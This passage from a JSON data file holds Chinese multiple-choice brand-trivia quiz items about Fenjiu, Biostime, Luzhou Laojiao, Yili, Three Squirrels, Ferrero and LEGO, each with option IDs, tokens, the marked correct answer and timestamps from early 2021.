16:47:28","status":"1"},{"questionId":"6101434107","questionIndex":"2","questionStem":"汾酒最畅销的是哪款?","options":"[{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3j0zufdm86SmeWvH-\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jruLfUtH1_So3Qms\",\"optionDesc\":\"封坛\"},{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jOHVG0niIktL9d7h\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}]","questionToken":"LcUSx0BQiz_lqIhyiDRs3oqGt_jiFXDrm9ZcsSZ994sd8eMvSGSWfoKoCbhVMD0i9pk2TJn5dh2rfdA2MN5i7tXDgV2IDg","correct":"{\"optionId\":\"LcUSx0BQiz_lqIgjm3x3jOHVG0niIktL9d7h\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434108","questionIndex":"1","questionStem":"汾酒最具代表的是哪款?","options":"[{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jkeniHl6n2GNXEYQTg\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3j15kcr299Ih06TPakw\",\"optionDesc\":\"黄盖玻汾\"},{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jCGboLewzvQg--kwKQ\",\"optionDesc\":\"青花30\\t\\t\"}]","questionToken":"LcUSx0BQiz_lp4hxiDRs2QKo1CFwOxua9ldj6uJ7okewUE1yMiUC3uDdqP-rTNX4bihIM0Y8fN8Fb4-ralpIVlsMpX4zkg","correct":"{\"optionId\":\"LcUSx0BQiz_lp4gjm3x3jCGboLewzvQg--kwKQ\",\"optionDesc\":\"青花30\\t\\t\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434109","questionIndex":"1","questionStem":"如何辨别汾酒的真伪?","options":"[{\"optionId\":\"LcUSx0BQiz_lpogjm3x3j0aKkHIBD22RrMWo\",\"optionDesc\":\"尝试酒劲大小\"},{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jkqmCDstMrx0g5f7\",\"optionDesc\":\"闻酒香浓度\"},{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jIkf6TUI1XvfaHgW\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}]","questionToken":"LcUSx0BQiz_lpohxiDRs3s3EE4dn1iRP2KpzexDW3t2Gh7Q8_lTi12OioPBWub3EyTyyhCkEQCVmAOKc_qwzTL9L4skm5g","correct":"{\"optionId\":\"LcUSx0BQiz_lpogjm3x3jIkf6TUI1XvfaHgW\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6101434110","questionIndex":"3","questionStem":"合生元品牌历史有多久?","options":"[{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3j5rJegueCNgax9w6Dw\",\"optionDesc\":\"5年\"},{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jBd-poNH6tpweYDIbg\",\"optionDesc\":\"20年以上\"},{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jnqMbLUiCbFgYZRm1Q\",\"optionDesc\":\"10年\"}]","questionToken":"LcUSx0BQiz_kr4hziDRs3riTBCuoHfyY759BcAcF4zbV7y4C8NXZzU09CcndbpZ3HsA7yxZJN79lSIBJfo3uirKa2rGj3g","correct":"{\"optionId\":\"LcUSx0BQiz_kr4gjm3x3jBd-poNH6tpweYDIbg\",\"optionDesc\":\"20年以上\"}","create_time":"2/2/2021 16:48:14","update_time":"2/2/2021 16:48:14","status":"1"},{"questionId":"6101434111","questionIndex":"1","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"LcUSx0BQiz_krogjm3x3jGlaozyQvmRy0zFa\",\"optionDesc\":\"妈咪爱\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_krogjm3x3jmxNBhv5Gw5o_4dV\",\"optionDesc\":\"Dodie\"},{\"optionId\":\"LcUSx0BQiz_krogjm3x3j3SqAuHmeJ264Zip\",\"optionDesc\":\"Swisse\"}]","questionToken":"LcUSx0BQiz_krohxiDRs2U1uxMdbdHuv6ppqffQiX-_AwLA2Dp5qH4FE0ANsl8M63-b30OIT4MFyjjJGlyKCPuE7RpAAaw","correct":"{\"optionId\":\"LcUSx0BQiz_krogjm3x3jGlaozyQvmRy0zFa\",\"optionDesc\":\"妈咪爱\\t\\t\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434112","questionIndex":"5","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"LcUSx0BQiz_krYgjm3x3ju_0tjbnSBdJPs9cYQ\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"LcUSx0BQiz_krYgjm3x3jMbnlWEkDpkxPxRAyQ\",\"optionDesc\":\"成人奶粉\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_krYgjm3x3j8zK0isTdmOtJbMvUA\",\"optionDesc\":\"婴幼儿奶粉\"}]","questionToken":"LcUSx0BQiz_krYh1iDRs2Wijpm1C1XCNBbHAF3T-aFetjHcx085QwCsMRPaWFJYWdNvvV3PuB9Hn3ekaPwh6ae_ki6eBuw","correct":"{\"optionId\":\"LcUSx0BQiz_krYgjm3x3jMbnlWEkDpkxPxRAyQ\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434113","questionIndex":"3","questionStem":"以下哪个品类奶粉合生元没有涉猎?","options":"[{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jwp-wed64BE3q9RK\",\"optionDesc\":\"羊奶粉\"},{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jkYiQoqyitF9BYWO\",\"optionDesc\":\"有机奶粉\"},{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jCTIE5oQ56zxT7it\",\"optionDesc\":\"特配奶粉\\t\\t\"}]","questionToken":"LcUSx0BQiz_krIhziDRs3qO_UOJi-c8jIpVDBbldGX7LAYnLwmdmQPZVfEnR0jv-94dioetoNnv5XvZL8qe7RDS9kAumVQ","correct":"{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jCTIE5oQ56zxT7it\",\"optionDesc\":\"特配奶粉\\t\\t\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434114","questionIndex":"5","questionStem":"以下哪个不是合生元派星系列奶粉的特点?","options":"[{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jGUrarR2O8lF3tTXWQ\",\"optionDesc\":\"口味浓郁\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jymN7c3oybMW18_f1A\",\"optionDesc\":\"比乳铁蛋白珍稀\"},{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jp48AC24Pgs-K90w3g\",\"optionDesc\":\"亲和结构脂\"}]","questionToken":"LcUSx0BQiz_kq4h1iDRs2bMRjlYsEbJSj6bGYL489uomctLdY3RoG7pardor83ZCidp6u9TILuWZSfiabKpgg1fT4lv4Hg","correct":"{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jGUrarR2O8lF3tTXWQ\",\"optionDesc\":\"口味浓郁\\t\\t\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6301442836","questionIndex":"2","questionStem":"好奇皇家御裤用的纤维有多细?","options":"[{\"optionId\":\"LccSx0BXjTZeHK00TNJcEIXdyQFUQrtDuYTe\",\"optionDesc\":\"1.2mm\"},{\"optionId\":\"LccSx0BXjTZeHK00TNJcEX5Tbq04AAHcIM6f\",\"optionDesc\":\"0.12mm\"},{\"optionId\":\"LccSx0BXjTZeHK00TNJcEkkKCr4H0P56TKai\",\"optionDesc\":\"0.012mm\\t\\t\"}]","questionToken":"LccSx0BXjTZeHK1lX5pHQL7c0necKwm-UjHEgFejpvD_DGrMYi5_S_8XoHclXpoSsDpLA6QsVkvgHey5imC4-aQOFdFdNw","correct":"{\"optionId\":\"LccSx0BXjTZeHK00TNJcEkkKCr4H0P56TKai\",\"optionDesc\":\"0.012mm\\t\\t\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"6301442937","questionIndex":"5","questionStem":"泸州老窖国宝窖池群距今多少年?","options":"[{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6-7uAShsMo19lxM\",\"optionDesc\":\"448年\\t\\t\"},{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6PHyrwd0_PXvzaY\",\"optionDesc\":\"500年\"},{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6WnFSn0a7DYOVPI\",\"optionDesc\":\"408年\"}]","questionToken":"LccSx0BXjTch9pCBwnExvvpoGTInNORxV-oDd1FfD3u8eEZ6TdLDGBrHJ9lQAc_b4dRi5lB9bDWY6ZiV8H512zWJ-vis9A","correct":"{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6-7uAShsMo19lxM\",\"optionDesc\":\"448年\\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"6301442938","questionIndex":"5","questionStem":"国窖1573的酿酒原料有哪些?","options":"[{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq6YaHsDG5DkIkmHRmBA\",\"optionDesc\":\"红高粱 大米 水\"},{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq60fpeeDSEDVKlofaHQ\",\"optionDesc\":\"糯红高粱 小麦 水\\t\"},{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq6J7U-_CmFu9dOrzciQ\",\"optionDesc\":\"糯红高粱 大豆 水\\t\"}]","questionToken":"LccSx0BXjTch-ZCBwnExuV0YiRxaA78FP-b30MuSqXQ3NcAFGsoNQ0cn8fGUcPvaNt3zUyJBebIMvPux0wyMzV3DswdZQw","correct":"{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq60fpeeDSEDVKlofaHQ\",\"optionDesc\":\"糯红高粱 小麦 水\\t\"}","create_time":"27/1/2021 04:51:53","update_time":"27/1/2021 04:51:53","status":"1"},{"questionId":"6301442939","questionIndex":"2","questionStem":"泸州老窖哪款酒前身获得了万国博览会金奖?","options":"[{\"optionId\":\"LccSx0BXjTch-JDX0Tkq61UKhzGjUeRICPE\",\"optionDesc\":\"特曲\\t\\t\"},{\"optionId\":\"LccSx0BXjTch-JDX0Tkq6QBv61kE9FItUDQ\",\"optionDesc\":\"二曲\"},{\"optionId\":\"LccSx0BXjTch-JDX0Tkq6LZ_5rj6DUT6Tsk\",\"optionDesc\":\"头曲\"}]","questionToken":"LccSx0BXjTch-JCGwnExviH8NWg7Ztb4ypqis0yeqsVmcqJf1ORFXa8sajz02ylNxLUgFLv1T7PQmlQnHMYL_IC7HR2FBw","correct":"{\"optionId\":\"LccSx0BXjTch-JDX0Tkq61UKhzGjUeRICPE\",\"optionDesc\":\"特曲\\t\\t\"}","create_time":"27/1/2021 04:49:13","update_time":"27/1/2021 04:49:13","status":"1"},{"questionId":"6301442959","questionIndex":"4","questionStem":"当前泸州老窖特曲已经更新到第几代?","options":"[{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6wcXfJx_WK1ohA8\",\"optionDesc\":\"第十代\\t\\t\"},{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6Lgpdut-fDZSqvM\",\"optionDesc\":\"第九代\"},{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6YzgdPnEvW6fh08\",\"optionDesc\":\"第十一代\"}]","questionToken":"LccSx0BXjTcn-JCAwnExvgr09vjfkxYHCdw7V_nVURE_WrArMy8Jsna35sJurjs9ImvlcBdwbziIDD7QXyb1a4d01HXwEQ","correct":"{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6wcXfJx_WK1ohA8\",\"optionDesc\":\"第十代\\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"6301442960","questionIndex":"4","questionStem":"国窖1573的香型是哪种?","options":"[{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6ACSvHot_XcK3YQ_zw\",\"optionDesc\":\"清香\\t\"},{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6Q-QvqYqt-V1YJpohg\",\"optionDesc\":\"酱香\"},{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6wAp9lpnN342935FXA\",\"optionDesc\":\"浓香\\t\"}]","questionToken":"LccSx0BXjTck8ZCAwnExudWRFvQuCaqzbw5Z3WxEwI-_R9L3NxhmjeHPM33WQO41MHzbduAYkQNNJaJXQ_GOXErgUiY2ag","correct":"{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6wAp9lpnN342935FXA\",\"optionDesc\":\"浓香\\t\"}","create_time":"27/1/2021 04:39:48","update_time":"27/1/2021 04:39:48","status":"1"},{"questionId":"6301442961","questionIndex":"1","questionStem":"伊利金领冠是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6BLc7mFwr9wqx_nBWQ\",\"optionDesc\":\"新西兰\"},{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6ymrVXeaAM0dC3xLDg\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6SLay6O-qX0bAhJWYw\",\"optionDesc\":\"法国\"}]","questionToken":"LccSx0BXjTck8JCFwnExuf0OUZy_1Z7GWXqobDNxroAtKwn4vClzwOhAqicYP60Jdz3waOmeK0rmlUbq-BG7_6Fh-aSj_Q","correct":"{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6ymrVXeaAM0dC3xLDg\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:35:44","update_time":"27/1/2021 04:35:44","status":"1"},{"questionId":"6301442962","questionIndex":"1","questionStem":"伊利金领冠有几大中国发明专利?","options":"[{\"optionId\":\"LccSx0BXjTck85DX0Tkq64WSum2emlc8tOAV\",\"optionDesc\":\"5\"},{\"optionId\":\"LccSx0BXjTck85DX0Tkq6TFUcx0iA080eVsh\",\"optionDesc\":\"2\"},{\"optionId\":\"LccSx0BXjTck85DX0Tkq6A6yQyqKQ2XnZkFP\",\"optionDesc\":\"1\"}]","questionToken":"LccSx0BXjTck85CFwnExuZsURzv-1rvfai2m5FbpXsDeikb7nvEEkEuv_ruLtyjHgBkqpwmDClN86QtX5UB8vOAszSB35Q","correct":"{\"optionId\":\"LccSx0BXjTck85DX0Tkq64WSum2emlc8tOAV\",\"optionDesc\":\"5\"}","create_time":"27/1/2021 04:36:07","update_time":"27/1/2021 04:36:07","status":"1"},{"questionId":"6301442963","questionIndex":"4","questionStem":"“六维易吸收”指的是金领冠旗下哪款产品?","options":"[{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6Qnb7trCp-SFkWoYUg\",\"optionDesc\":\"菁护\"},{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6CYqA94AAEx9Kb8yRQ\",\"optionDesc\":\"睿护\"},{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6xYdIPHtTWSpFv4RWg\",\"optionDesc\":\"珍护\\t\\t\"}]","questionToken":"LccSx0BXjTck8pCAwnExvpMP_uaOv6o9WyssW9AZRzOXX3DbiIV02kXghlpvIBYLNxUTHH8Z06wVWWr86cLLWLVxpiXlSg","correct":"{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6xYdIPHtTWSpFv4RWg\",\"optionDesc\":\"珍护\\t\\t\"}","create_time":"27/1/2021 04:32:58","update_time":"27/1/2021 04:32:58","status":"1"},{"questionId":"6301442964","questionIndex":"1","questionStem":"金领冠中有欧双重有机认证的奶粉产品名是?","options":"[{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq62xx2R5oLnbCoA\",\"optionDesc\":\"塞纳牧\\t\\t\"},{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq6GhKUI2RJ-4KZg\",\"optionDesc\":\"珍护\"},{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq6YFxOvHOsfHgkg\",\"optionDesc\":\"睿护\"}]","questionToken":"LccSx0BXjTck9ZCFwnExuRntVgQI-F9IUA_tGRr1WaqVNvKv0QtPrp6ygsJmCK5Ps_5iAYZJkh6Zj5juLn_ufirx8Tuvfg","correct":"{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq62xx2R5oLnbCoA\",\"optionDesc\":\"塞纳牧\\t\\t\"}","create_time":"27/1/2021 04:41:14","update_time":"27/1/2021 04:41:14","status":"1"},{"questionId":"6301442965","questionIndex":"2","questionStem":"以下哪个不属于金领冠的业务范围?","options":"[{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6-5eZRGWzGXJH4uQZw\",\"optionDesc\":\"牛奶\\t\\t\"},{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6HT9Oz0R4Hj-wK3c_A\",\"optionDesc\":\"草饲奶粉\"},{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6R24KJNg2aBeFn8KJA\",\"optionDesc\":\"羊奶粉\"}]","questionToken":"LccSx0BXjTck9JCGwnExvrqcKFOGVLPWqLowAcpFGUsFo-eDe0jah2BIgr3lxl7kIGIMRd5HVhqPWAWQIiSwc_fTA07Iqw","correct":"{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6-5eZRGWzGXJH4uQZw\",\"optionDesc\":\"牛奶\\t\\t\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"6301442966","questionIndex":"1","questionStem":"三只松鼠集团总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjTck95DX0Tkq6ytyschrcjcrl1H6vQ\",\"optionDesc\":\"安徽芜湖\\t\"},{\"optionId\":\"LccSx0BXjTck95DX0Tkq6fn0Qbb9yHE8_enb-w\",\"optionDesc\":\"浙江杭州\"},{\"optionId\":\"LccSx0BXjTck95DX0Tkq6NRaYtO-YZeC48GvPg\",\"optionDesc\":\"广东深圳\"}]","questionToken":"LccSx0BXjTck95CFwnExvvrN_FdnGCWoUO8AojubzFGhDSo_X7JxiGAfSIaKMuR_abkIJf-nh2k3uIe3geuRt9ZO1sM6gQ","correct":"{\"optionId\":\"LccSx0BXjTck95DX0Tkq6ytyschrcjcrl1H6vQ\",\"optionDesc\":\"安徽芜湖\\t\"}","create_time":"27/1/2021 04:48:38","update_time":"27/1/2021 04:48:38","status":"1"},{"questionId":"6301442967","questionIndex":"1","questionStem":"三只松鼠成立于哪一年?","options":"[{\"optionId\":\"LccSx0BXjTck9pDX0Tkq6QHqOQEXDcMu-pu_\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LccSx0BXjTck9pDX0Tkq68Y-W3wEYpHmzB_C\",\"optionDesc\":\"2012年\\t\"},{\"optionId\":\"LccSx0BXjTck9pDX0Tkq6Bpxeymr1tBQ7Z3o\",\"optionDesc\":\"2008年\\t\"}]","questionToken":"LccSx0BXjTck9pCFwnExvmJlqDEL4TLDyxQ8NpiYpdveJoj7HX2-HmWGgdapQ5_0RyiFo1w1dHMdNhkFzBjEYCb4J9LkyQ","correct":"{\"optionId\":\"LccSx0BXjTck9pDX0Tkq68Y-W3wEYpHmzB_C\",\"optionDesc\":\"2012年\\t\"}","create_time":"27/1/2021 04:50:38","update_time":"27/1/2021 04:50:38","status":"1"},{"questionId":"6301442968","questionIndex":"5","questionStem":"三只松鼠哪一年上市的?","options":"[{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6X-beUWWErMegvxn\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6HQNt37BJMF0yIzM\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6x3jzvr0-GVpLovm\",\"optionDesc\":\"2019年\\t\\t\"}]","questionToken":"LccSx0BXjTck-ZCBwnExvsX_PY6QCXpz3DV6ibIJ2dLR-7XuSFt0ECdo9k3GheLhs9_hRJODTfEctt3Mx018ef12Nc2koQ","correct":"{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6x3jzvr0-GVpLovm\",\"optionDesc\":\"2019年\\t\\t\"}","create_time":"27/1/2021 04:41:51","update_time":"27/1/2021 04:41:51","status":"1"},{"questionId":"6301443010","questionIndex":"3","questionStem":"三只松鼠的线下门店统称什么?","options":"[{\"optionId\":\"LccSx0BXjD4zDD2Ytln6X1Da-ZLv98gkuuTN\",\"optionDesc\":\"松鼠超市\"},{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XgaRsIQ5-mYlvHt5\",\"optionDesc\":\"松鼠小卖部\"},{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XIEG0eg26vgli0Ls\",\"optionDesc\":\"松鼠投食店\\t\\t\"}]","questionToken":"LccSx0BXjD4zDD3IpRHhDmi7qduTEevIjL43wDbaxMmnI2P91eW5p_VMPSEqnDKxDh3_tN8BQnot-hS7i2r7PCpC7C2Y4w","correct":"{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XIEG0eg26vgli0Ls\",\"optionDesc\":\"松鼠投食店\\t\\t\"}","create_time":"27/1/2021 04:44:46","update_time":"27/1/2021 04:44:46","status":"1"},{"questionId":"6301443011","questionIndex":"2","questionStem":"哪一个不是三只松鼠的子品牌?","options":"[{\"optionId\":\"LccSx0BXjD4zDT2Ytln6XD_f4LSxWEwJwKV6\",\"optionDesc\":\"两只松鼠\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zDT2Ytln6X_n8KbJy08WD8M9O\",\"optionDesc\":\"小鹿蓝蓝\"},{\"optionId\":\"LccSx0BXjD4zDT2Ytln6Xq3GtlKr8e4fxxwh\",\"optionDesc\":\"铁功基\"}]","questionToken":"LccSx0BXjD4zDT3JpRHhDhJgNTF7e7ILQSTBzIi-Z4eQ-tVKPjSasDNSUD7TXOsFkERg5_exFc7W3BC1gGvg7E3xUe4-Qw","correct":"{\"optionId\":\"LccSx0BXjD4zDT2Ytln6XD_f4LSxWEwJwKV6\",\"optionDesc\":\"两只松鼠\\t\\t\"}","create_time":"27/1/2021 04:49:15","update_time":"27/1/2021 04:49:15","status":"1"},{"questionId":"6301443012","questionIndex":"3","questionStem":"费列罗集团总部坐落于?","options":"[{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XumngCFnmq2A-cH2Mg\",\"optionDesc\":\"英国\"},{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XCXxTGz2p8_g6-9TjQ\",\"optionDesc\":\"意大利\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zDj2Ytln6X4S3LoVAlh7_Q3V2rg\",\"optionDesc\":\"德国\"}]","questionToken":"LccSx0BXjD4zDj3IpRHhCb8JOcHRut6sx2VE-sOofWR9ogXZU9cxEaPGXTXNlrBCIDpWgJsUNdrSfOcKq8zTruUPDQPDfQ","correct":"{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XCXxTGz2p8_g6-9TjQ\",\"optionDesc\":\"意大利\\t\\t\"}","create_time":"27/1/2021 04:44:58","update_time":"27/1/2021 04:44:58","status":"1"},{"questionId":"6301443013","questionIndex":"3","questionStem":"费列罗主要卖什么产品","options":"[{\"optionId\":\"LccSx0BXjD4zDz2Ytln6Xvv2pxEamz9msME\",\"optionDesc\":\"牛奶\"},{\"optionId\":\"LccSx0BXjD4zDz2Ytln6X_EUmLvDEO_mqRA\",\"optionDesc\":\"面包\\t\"},{\"optionId\":\"LccSx0BXjD4zDz2Ytln6XKcRf9rI_zwQ52Y\",\"optionDesc\":\"巧克力\\t\"}]","questionToken":"LccSx0BXjD4zDz3IpRHhDjY2P-SWt9rBIftEOCMcNxxqebP-vMiYpIEl-kncN9wYs3whjo98caOoPLkFQIZmG_3NsXoBIg","correct":"{\"optionId\":\"LccSx0BXjD4zDz2Ytln6XKcRf9rI_zwQ52Y\",\"optionDesc\":\"巧克力\\t\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"6301443014","questionIndex":"5","questionStem":"费列罗logo颜色是?","options":"[{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XzKcRtGulIg3u0g\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XHVLca1rZ6pPME8\",\"optionDesc\":\"咖啡色\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XptucsPU8OOSJdI\",\"optionDesc\":\"黄色\"}]","questionToken":"LccSx0BXjD4zCD3OpRHhDsysLSGiAUx-LbmMNDuhWoYNIswfdY-gfhqVxxgCuSSRpkBAMTuB-8KF1XGWoVpYFoVg-nOAnw","correct":"{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XHVLca1rZ6pPME8\",\"optionDesc\":\"咖啡色\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443015","questionIndex":"1","questionStem":"以下哪个属于费列罗业务?","options":"[{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XEbPydouFE_jiqcS\",\"optionDesc\":\"食品\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XihppXmISq-FSiHw\",\"optionDesc\":\"婴儿护理\"},{\"optionId\":\"LccSx0BXjD4zCT2Ytln6X0OMhd051FuwAz6r\",\"optionDesc\":\"生活电器\"}]","questionToken":"LccSx0BXjD4zCT3KpRHhCeZrz4gg27Mr6mHDHgnmjzVsIjhqg4fzF3xpLF776HmK4p1eMTRuV4FaF1xOkyxEAq24nRxRmA","correct":"{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XEbPydouFE_jiqcS\",\"optionDesc\":\"食品\\t\\t\"}","create_time":"27/1/2021 04:38:22","update_time":"27/1/2021 04:38:22","status":"1"},{"questionId":"6301443016","questionIndex":"1","questionStem":"哪一个不是费列罗集团的子品牌?","options":"[{\"optionId\":\"LccSx0BXjD4zCj2Ytln6Xkaj439a3NFiIdnyJw\",\"optionDesc\":\"健达\"},{\"optionId\":\"LccSx0BXjD4zCj2Ytln6Xw0llk2epRA-30QFyQ\",\"optionDesc\":\"费列罗\"},{\"optionId\":\"LccSx0BXjD4zCj2Ytln6XNzxSa4d-smT3RRDwA\",\"optionDesc\":\"碧浪\\t\\t\"}]","questionToken":"LccSx0BXjD4zCj3KpRHhDpQJ_r2M7aALp6mrBsdOnbMXq9n0vNWErWtTB1umVOTNHhJ09jpJzN-HaqKj0qkXNHYKybW54A","correct":"{\"optionId\":\"LccSx0BXjD4zCj2Ytln6XNzxSa4d-smT3RRDwA\",\"optionDesc\":\"碧浪\\t\\t\"}","create_time":"27/1/2021 04:39:39","update_time":"27/1/2021 04:39:39","status":"1"},{"questionId":"6301443017","questionIndex":"2","questionStem":"LEGO在丹麦语中的意思是? ","options":"[{\"optionId\":\"LccSx0BXjD4zCz2Ytln6Xzryr7Jne0qiXUk\",\"optionDesc\":\"自己一个人玩\"},{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XocBGsf4rSxRW4w\",\"optionDesc\":\"宅在家里玩\"},{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XMEDQsEArA7Yj8M\",\"optionDesc\":\"玩得快乐\\t\\t\"}]","questionToken":"LccSx0BXjD4zCz3JpRHhCbECSQ2Y1KWcEIgIX2e2_CRomdqcHCaGswudU-IH6fHXnGD9quqb7nRRowqhOuMgyxVEbgALGg","correct":"{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XMEDQsEArA7Yj8M\",\"optionDesc\":\"玩得快乐\\t\\t\"}","create_time":"27/1/2021 04:46:15","update_time":"27/1/2021 04:46:15","status":"1"},{"questionId":"6301443018","questionIndex":"5","questionStem":"哪些英雄在乐高城市里集结?","options":"[{\"optionId\":\"LccSx0BXjD4zBD2Ytln6Xqp_15WlaXgZ8zLIbA\",\"optionDesc\":\"奥特曼军团\"},{\"optionId\":\"LccSx0BXjD4zBD2Ytln6X55VwcC1RSKyuXxx5g\",\"optionDesc\":\"美少女战士\"},{\"optionId\":\"LccSx0BXjD4zBD2Ytln6XDVot_FQmyG5i7eAww\",\"optionDesc\":\"空中特警和消防员\\t\\t\"}]","questionToken":"LccSx0BXjD4zBD3OpRHhDrVQDX2soZ5kTMqmbi1LsqO1Z9zOPZsaQGeLtgosrcaPy3D7jWvpSadcRWLUoW3MRHlUR7VZPA","correct":"{\"optionId\":\"LccSx0BXjD4zBD2Ytln6XDVot_FQmyG5i7eAww\",\"optionDesc\":\"空中特警和消防员\\t\\t\"}","create_time":"27/1/2021 03:37:25","update_time":"27/1/2021 03:37:25","status":"1"},{"questionId":"6301443019","questionIndex":"4","questionStem":"谁是乐高幻影忍者界的一代宗师?","options":"[{\"optionId\":\"LccSx0BXjD4zBT2Ytln6X8xtJ01lyQLfzNnaiA\",\"optionDesc\":\"王小聪\"},{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XoCYI53IuAiwWNXKwA\",\"optionDesc\":\"易小星\"},{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XPODf9hgfNSnhOgN2Q\",\"optionDesc\":\"吴大师\\t\\t\"}]","questionToken":"LccSx0BXjD4zBT3PpRHhDqwH9vcgQz7t4-dNj7tkfeahvvw_6SigL8epiiZcrG4WWb4QMjTYS2jvipOtTO_q-ylTDbeKLw","correct":"{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XPODf9hgfNSnhOgN2Q\",\"optionDesc\":\"吴大师\\t\\t\"}","create_time":"27/1/2021 04:49:24","update_time":"27/1/2021 